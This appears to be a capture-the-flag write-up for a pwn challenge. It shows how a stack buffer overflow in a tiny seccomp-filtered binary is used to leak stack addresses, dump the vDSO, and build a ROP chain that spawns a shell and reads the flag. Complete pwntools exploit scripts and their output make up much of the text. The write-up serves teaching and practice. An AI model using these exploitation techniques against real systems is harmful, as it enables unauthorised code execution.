Nowhere to go
15 minutes to read
We are given compressed filesystem, a kernel image and a qemu
script:
# file *
bzImage: Linux kernel x86 boot executable bzImage, version 5.9.16 (buildroot@a7f111e5c8c1) #1 SMP Thu Apr 22 11:04:47 UTC 2021, RO-rootFS, swap_dev 0X8, Normal VGA
rootfs.cpio.gz: gzip compressed data, max compression, from Unix, original size modulo 2^32 5115392
run.sh: Bourne-Again shell script, ASCII text executable
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-cpu qemu64 \
-nographic \
-monitor /dev/null \
-kernel ./bzImage \
-initrd ./rootfs.cpio.gz \
-append 'noapic console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-net user,hostfwd=tcp::5555-:5555 \
-net nic
Moreover, we are told that the remote kernel image is different from the provided one (which does not make sense for the moment).
When launching qemu
, it starts a server on port 5555:
# ./run.sh
SeaBIOS (version 1.15.0-1)
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+07F8B340+07ECB340 CA00
Booting from ROM..
Saving random seed: OK
Starting network: OK
Nothing to see here - check host port 5555
And there is a program running on such port:
# nc 127.0.0.1 5555
Welcome!
asdf
asdf
@ @lYrvYr}YrYrYrYrYrYrYr
Reverse engineering
First of all, we can decompress the filesystem:
# mkdir rootfs
# gunzip -k rootfs.cpio.gz
# cd rootfs
# cpio -idm < ../rootfs.cpio
9991 blocks
# ls
bin challenge dev etc flag.txt home init lib lib64 linuxrc media mnt opt proc root run sbin sys tmp usr var
The program that runs on port 5555 corresponds to the challenge
binary:
# file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
# checksec challenge
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Disassembly
This binary is pretty short, so we can simply view the disassembly:
# objdump -M intel -d challenge
challenge: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <read>:
401000: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401005: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
40100a: 48 c7 c7 00 00 00 00 mov rdi,0x0
401011: 48 c7 c0 00 00 00 00 mov rax,0x0
401018: 0f 05 syscall
40101a: c3 ret
000000000040101b <write>:
40101b: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401020: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
401025: 48 c7 c7 01 00 00 00 mov rdi,0x1
40102c: 48 c7 c0 01 00 00 00 mov rax,0x1
401033: 0f 05 syscall
401035: c3 ret
0000000000401036 <readwrite>:
401036: 48 83 ec 20 sub rsp,0x20
40103a: 48 89 e3 mov rbx,rsp
40103d: 53 push rbx
40103e: 68 80 00 00 00 push 0x80
401043: e8 b8 ff ff ff call 401000 <read>
401048: 48 83 c4 08 add rsp,0x8
40104c: 5b pop rbx
40104d: 53 push rbx
40104e: 68 80 00 00 00 push 0x80
401053: e8 c3 ff ff ff call 40101b <write>
401058: 48 83 c4 30 add rsp,0x30
40105c: c3 ret
000000000040105d <_start>:
40105d: 48 c7 c7 26 00 00 00 mov rdi,0x26
401064: 48 c7 c6 01 00 00 00 mov rsi,0x1
40106b: b8 9d 00 00 00 mov eax,0x9d
401070: 0f 05 syscall
401072: 48 c7 c7 16 00 00 00 mov rdi,0x16
401079: 48 8d 15 80 0f 00 00 lea rdx,[rip+0xf80] # 402000 <_secfilter>
401080: 52 push rdx
401081: 6a 08 push 0x8
401083: 48 89 e2 mov rdx,rsp
401086: 48 c7 c6 02 00 00 00 mov rsi,0x2
40108d: b8 9d 00 00 00 mov eax,0x9d
401092: 0f 05 syscall
401094: 48 83 c4 10 add rsp,0x10
401098: 48 8d 05 a1 0f 00 00 lea rax,[rip+0xfa1] # 402040 <_greeting>
40109f: 50 push rax
4010a0: 6a 09 push 0x9
4010a2: e8 74 ff ff ff call 40101b <write>
4010a7: 48 83 c4 10 add rsp,0x10
00000000004010ab <loop_start>:
4010ab: e8 86 ff ff ff call 401036 <readwrite>
4010b0: eb f9 jmp 4010ab <loop_start>
seccomp
rules
The _start
function begins using sys_prctl
($rax = 0x9d
) to set seccomp
rules:
000000000040105d <_start>:
40105d: 48 c7 c7 26 00 00 00 mov rdi,0x26
401064: 48 c7 c6 01 00 00 00 mov rsi,0x1
40106b: b8 9d 00 00 00 mov eax,0x9d
401070: 0f 05 syscall
401072: 48 c7 c7 16 00 00 00 mov rdi,0x16
401079: 48 8d 15 80 0f 00 00 lea rdx,[rip+0xf80] # 402000 <_secfilter>
401080: 52 push rdx
401081: 6a 08 push 0x8
401083: 48 89 e2 mov rdx,rsp
401086: 48 c7 c6 02 00 00 00 mov rsi,0x2
40108d: b8 9d 00 00 00 mov eax,0x9d
401092: 0f 05 syscall
We can dump them with seccomp-tools
:
# seccomp-tools dump ./challenge
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0007
0005: 0x15 0x01 0x00 0x0000009d if (A == prctl) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
This only disallows the use of sys_rt_sigreturn
and sys_prctl
. This is not problem because we can execute sys_execve
to achieve arbitrary code execution, or even sys_open
, sys_read
, sys_write
to just get the flag.
Buffer Overflow vulnerability
After setting seccomp
rules, the program prints a greeting message using sys_write
and calls loop_start
, which is a function that calls readwrite
indefinitely:
401094: 48 83 c4 10 add rsp,0x10
401098: 48 8d 05 a1 0f 00 00 lea rax,[rip+0xfa1] # 402040 <_greeting>
40109f: 50 push rax
4010a0: 6a 09 push 0x9
4010a2: e8 74 ff ff ff call 40101b <write>
4010a7: 48 83 c4 10 add rsp,0x10
00000000004010ab <loop_start>:
4010ab: e8 86 ff ff ff call 401036 <readwrite>
4010b0: eb f9 jmp 4010ab <loop_start>
readwrite
is a function that calls read
and write
:
0000000000401000 <read>:
401000: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401005: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
40100a: 48 c7 c7 00 00 00 00 mov rdi,0x0
401011: 48 c7 c0 00 00 00 00 mov rax,0x0
401018: 0f 05 syscall
40101a: c3 ret
000000000040101b <write>:
40101b: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401020: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
401025: 48 c7 c7 01 00 00 00 mov rdi,0x1
40102c: 48 c7 c0 01 00 00 00 mov rax,0x1
401033: 0f 05 syscall
401035: c3 ret
0000000000401036 <readwrite>:
401036: 48 83 ec 20 sub rsp,0x20
40103a: 48 89 e3 mov rbx,rsp
40103d: 53 push rbx
40103e: 68 80 00 00 00 push 0x80
401043: e8 b8 ff ff ff call 401000 <read>
401048: 48 83 c4 08 add rsp,0x8
40104c: 5b pop rbx
40104d: 53 push rbx
40104e: 68 80 00 00 00 push 0x80
401053: e8 c3 ff ff ff call 40101b <write>
401058: 48 83 c4 30 add rsp,0x30
40105c: c3 ret
However, there is a Buffer Overflow vulnerability, because readwrite
reserves 0x20
bytes on the stack, but calls read
with a size of $rdx = 0x80
. Moreover, write
is also called with $rdx = 0x80
, which means that we will get a lot of values from the stack, even memory leaks.
Exploit strategy
The vulnerabilities are clear. However, the exploitation is hard because the binary is so small. Since NX is enabled, we are forced to use ROP in order to exploit the Buffer Overflow vulnerability. But there are only a few gadgets:
# ROPgadget --binary challenge
Gadgets information
============================================================
0x0000000000401089 : add al, byte ptr [rax] ; add byte ptr [rax], al ; mov eax, 0x9d ; syscall
0x0000000000401052 : add al, ch ; ret
0x000000000040106a : add byte ptr [rax + 0x9d], bh ; syscall
0x0000000000401010 : add byte ptr [rax - 0x39], cl ; rol byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x000000000040102b : add byte ptr [rax - 0x39], cl ; rol byte ptr [rcx], 0 ; add byte ptr [rax], al ; syscall
0x000000000040104f : add byte ptr [rax], 0 ; add al, ch ; ret
0x0000000000401050 : add byte ptr [rax], al ; add al, ch ; ret
0x0000000000401068 : add byte ptr [rax], al ; add byte ptr [rax + 0x9d], bh ; syscall
0x0000000000401014 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401069 : add byte ptr [rax], al ; mov eax, 0x9d ; syscall
0x000000000040100f : add byte ptr [rax], al ; mov rax, 0 ; syscall
0x000000000040102a : add byte ptr [rax], al ; mov rax, 1 ; syscall
0x0000000000401016 : add byte ptr [rax], al ; syscall
0x0000000000401067 : add dword ptr [rax], eax ; add byte ptr [rax], al ; mov eax, 0x9d ; syscall
0x000000000040102f : add dword ptr [rax], eax ; add byte ptr [rax], al ; syscall
0x0000000000401059 : add esp, 0x30 ; ret
0x0000000000401058 : add rsp, 0x30 ; ret
0x00000000004010b0 : jmp 0x4010ab
0x0000000000401012 : mov eax, 0 ; syscall
0x000000000040106b : mov eax, 0x9d ; syscall
0x000000000040102d : mov eax, 1 ; syscall
0x0000000000401011 : mov rax, 0 ; syscall
0x000000000040102c : mov rax, 1 ; syscall
0x000000000040101a : ret
0x0000000000401013 : rol byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x000000000040102e : rol byte ptr [rcx], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401018 : syscall
Unique gadgets found: 27
We can only control $rax
, with many limitations, and we are not allowed to use sys_rt_sigreturn
to restore all registers (like in SROP). So, we must come up with another approach.
If we load the binary in GDB, we will see the following memory map:
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- ./challenge
0x0000000000401000 0x0000000000402000 0x0000000000001000 0x0000000000001000 r-x ./challenge <- $rcx, $rip
0x0000000000402000 0x0000000000403000 0x0000000000001000 0x0000000000002000 r-- ./challenge
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $rbx, $rsp, $rsi
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
vDSO region
Notice that, appart from the binary, there is a region called vDSO that is executable. This region allows the program to switch to kernel mode. It contains instructions, like any other binary:
gef> vdso -n
0x7ffff7ffd6e0 83ff01 <NO_SYMBOL> cmp edi, 1
0x7ffff7ffd6e3 750e <NO_SYMBOL> jne 0x7ffff7ffd6f3
0x7ffff7ffd6e5 0f01f9 <NO_SYMBOL> rdtscp
0x7ffff7ffd6e8 6690 <NO_SYMBOL> nop
0x7ffff7ffd6ea 48c1e220 <NO_SYMBOL> shl rdx, 0x20
0x7ffff7ffd6ee 4809d0 <NO_SYMBOL> or rax, rdx
0x7ffff7ffd6f1 c3 <NO_SYMBOL> ret
0x7ffff7ffd6f2 cc <NO_SYMBOL> int3
0x7ffff7ffd6f3 83ff02 <NO_SYMBOL> cmp edi, 2
0x7ffff7ffd6f6 7448 <NO_SYMBOL> je 0x7ffff7ffd740
0x7ffff7ffd6f8 83ff03 <NO_SYMBOL> cmp edi, 3
0x7ffff7ffd6fb 7409 <NO_SYMBOL> je 0x7ffff7ffd706
0x7ffff7ffd6fd 48c7c0ffffffff <NO_SYMBOL> mov rax, 0xffffffffffffffff
0x7ffff7ffd704 c3 <NO_SYMBOL> ret
...
The base address of the vDSO region is located on the stack:
gef> find 0x00007ffff7ffd000
[+] Searching '\x00\xd0\xff\xf7\xff\x7f\x00\x00' in whole memory
[+] In '[stack]' (0x7ffffffde000-0x7ffffffff000 [rw-])
0x7fffffffe9b0: 00 d0 ff f7 ff 7f 00 00 33 00 00 00 00 00 00 00 | ........3....... |
The idea here is to dump the vDSO region and look for more ROP gadgets to exploit the binary.
Now, it makes sense why the remote kernel is different to the provided one. We are given a kernel image just to find a way to dump the vDSO region using the vulnerable program. Then, we will need to find ROP gadgets in the remote vDSO region and finally exploit the remote instance.
Exploit development
As can be seen, the program leaks stack addresses:
# ./challenge | xxd
asdf
00000000: 5765 6c63 6f6d 6521 0a61 7364 660a 0000 Welcome!.asdf...
00000010: 0000 0000 0000 0000 00a7 1040 0000 0000 ...........@....
00000020: 0009 0000 0000 0000 00b0 1040 0000 0000 ...........@....
00000030: 0001 0000 0000 0000 0072 1be7 7bfe 7f00 .........r..{...
00000040: 0000 0000 0000 0000 007e 1be7 7bfe 7f00 .........~..{...
00000050: 0089 1be7 7bfe 7f00 009b 1be7 7bfe 7f00 ....{.......{...
00000060: 00b6 1be7 7bfe 7f00 00e9 1be7 7bfe 7f00 ....{.......{...
00000070: 00f4 1be7 7bfe 7f00 001e 1ce7 7bfe 7f00 ....{.......{...
We can start writing the exploit to take some stack address:
context.binary = 'challenge'
io = get_process()
io.sendafter(b'Welcome!\n', b'A' * 0x20)
stack_addr = (u64(io.recv()[0x30:0x38]) & ~0xfff) + 0x1000
io.info(f'Stack address: {hex(stack_addr)}')
io.interactive()
With this, we have a stack address:
# python3 dump.py
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge': pid 1195521
[*] Stack address: 0x7ffd71a35000
[*] Switching to interactive mode
$
Now, we can exploit the Buffer Overflow vulnerability to call write
with a greater size in $rdx
. Notice that the values of $rsi
and $rdx
are taken from the stack:
000000000040101b <write>:
40101b: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401020: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
401025: 48 c7 c7 01 00 00 00 mov rdi,0x1
40102c: 48 c7 c0 01 00 00 00 mov rax,0x1
401033: 0f 05 syscall
401035: c3 ret
Dumping vDSO
As a result, we can take the previous stack address and start dumping memory from that. Once we have enough data from the stack, we can start looking the a pointer that looks like the vDSO base address (something like 0x7ff......000
). The following code performs the previous process:
def find_vdso(haystack):
for i in range(0, len(haystack), 8):
addr = u64(haystack[i : i + 8].ljust(8, b'\0'))
if addr >> 36 == stack_addr >> 36 == 0x7ff and addr & 0xfff == 0 and addr > stack_addr:
return addr
stack = b''
offset = 0
while not (vdso_addr := find_vdso(stack)):
payload = b'A' * 0x20 + p64(context.binary.sym.write)
payload += p64(0x401094) + p64(0x1800) + p64(stack_addr - offset)
io.send(payload)
offset += 0x1800
stack += io.recvuntil(b'Welcome!\n', drop=True)
io.success(f'vDSO address: {hex(vdso_addr)}')
Notice that 0x401094
is an address within the _start
function, just after seccomp
rules are configured.
As a result, we get the vDSO base address:
# python3 dump.py
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge': pid 1198598
[*] Stack address: 0x7fff529be000
[+] vDSO address: 0x7fff529ca000
[*] Switching to interactive mode
$
At this point, we simply use the same method to dump the vDSO region (which has a size of 0x2000
bytes) and save it to a file:
payload = b'A' * 0x20 + p64(context.binary.sym.write)
payload += p64(0x401094) + p64(0x2000) + p64(vdso_addr)
io.send(payload)
io.recvn(0x80)
with open('vdso', 'wb') as f:
f.write(io.recvuntil(b'Welcome!\n', drop=True))
With this, we have successfully dumped the vDSO region:
# python3 dump.py
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge': pid 1200970
[*] Stack address: 0x7ffc41f80000
[+] vDSO address: 0x7ffc41fb4000
[*] Stopped process './challenge' (pid 1200970)
# file vdso
vdso: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=8ec5722947270e86e99b1821ecca259093c925b8, stripped
# xxd vdso | head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 0000 0000 0000 0000 ..>.............
00000020: 4000 0000 0000 0000 980e 0000 0000 0000 @...............
00000030: 0000 0000 4000 3800 0400 4000 1000 0f00 ....@.8...@.....
00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: cd0d 0000 0000 0000 cd0d 0000 0000 0000 ................
00000070: 0010 0000 0000 0000 0200 0000 0400 0000 ................
00000080: e003 0000 0000 0000 e003 0000 0000 0000 ................
00000090: e003 0000 0000 0000 2001 0000 0000 0000 ........ .......
Now, it’s time to dump the remote vDSO file:
# python3 dump.py 94.237.62.195:51865
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.62.195 on port 51865: Done
[*] Stack address: 0x7ffeefcfe000
[+] vDSO address: 0x7ffeefd50000
[*] Closed connection to 94.237.62.195 port 51865
ROP chain
Alright, now we can look at ROP gadgets inside the remote vDSO region:
# ROPgadget --binary vdso --nojop | grep ': pop'
0x0000000000000a37 : pop r12 ; pop r13 ; pop rbp ; ret
0x00000000000007df : pop r12 ; pop rbp ; ret
0x0000000000000a39 : pop r13 ; pop rbp ; ret
0x0000000000000ba1 : pop rax ; ret
0x00000000000007cb : pop rbp ; mov qword ptr [r9], rax ; xor eax, eax ; ret
0x0000000000000a3a : pop rbp ; pop rbp ; ret
0x00000000000007e1 : pop rbp ; ret
0x00000000000007d9 : pop rbx ; mov eax, 0xffffffff ; pop r12 ; pop rbp ; ret
0x00000000000008c6 : pop rbx ; pop r12 ; pop rbp ; ret
0x0000000000000ba0 : pop rdx ; pop rax ; ret
0x0000000000000a38 : pop rsp ; pop r13 ; pop rbp ; ret
0x00000000000007e0 : pop rsp ; pop rbp ; ret
We can easily control $rax
, which is needed to perform any syscall
instruction. Moreover, we can control $rdx
, $rbx
, $r12
and $r13
.
There are other gadgets to set $rdi
and $rsi
:
# ROPgadget --binary vdso --nojop | grep ': mov rdi'
0x00000000000008e3 : mov rdi, rbx ; mov rsi, r12 ; syscall
With these gadgets, we can execute sys_execve
. We need:
$rax = 0x3b
(sys_execve
)$rdi
to have a pointer to the string"/bin/sh"
(it can be loaded on the stack)$rsi = 0
$rdx = 0
First of all, since we need "/bin/sh"
loaded somewhere, we will use the Buffer Overflow vulnerability to call read
to store the string at an arbitrary offset on the stack:
bin_sh_addr = stack_addr - 0x2000
payload = b'A' * 0x20 + p64(context.binary.sym.read)
payload += p64(0x401094) + p64(0x8) + p64(bin_sh_addr)
io.send(payload)
io.recv()
io.send(b'/bin/sh\0')
io.recvuntil(b'Welcome!\n')
Now we will define the following ROP chain. Notice that $rbx
is moved to $rsi
and $r12
to $rdi
:
pop_rdx_pop_rax_ret = vdso_addr + 0xba0
pop_rbx_pop_r12_pop_rbp_ret = vdso_addr + 0x8c6
mov_rdi_rbx_mov_rsi_r12_syscall = vdso_addr + 0x8e3
payload = b'A' * 0x20
payload += p64(pop_rdx_pop_rax_ret)
payload += p64(0)
payload += p64(0x3b)
payload += p64(pop_rbx_pop_r12_pop_rbp_ret)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(0)
payload += p64(mov_rdi_rbx_mov_rsi_r12_syscall)
io.send(payload)
io.recv()
io.interactive()
With this, we have a shell:
# python3 solve.py 94.237.62.195:51865
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.62.195 on port 51865: Done
[*] Stack address: 0x7fff130e7000
[+] vDSO address: 0x7fff131c0000
[*] Switching to interactive mode
$ ls
b27c2d79500a865cf20824a398a05ff1f0a58a36a4da0f3ab906d0e9b65b7593.txt
bin
challenge
dev
etc
home
init
lib
lib64
linuxrc
media
mnt
opt
proc
root
run
sbin
sys
tmp
usr
var
[*] Got EOF while reading in interactive
$
For some reason, the server blocks once we execute a command, but that’s not a problem.
Flag
This is the flag:
# python3 solve.py 94.237.62.195:51865
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.62.195 on port 51865: Done
[*] Stack address: 0x7ffed779c000
[+] vDSO address: 0x7ffed77d3000
[*] Switching to interactive mode
$ cat *.txt
HTB{th4re_is_a1ways_a_vDS0_2_go_2!!}
[*] Got EOF while reading in interactive
$
The full exploit code is solve.py
, and the other script is dump.py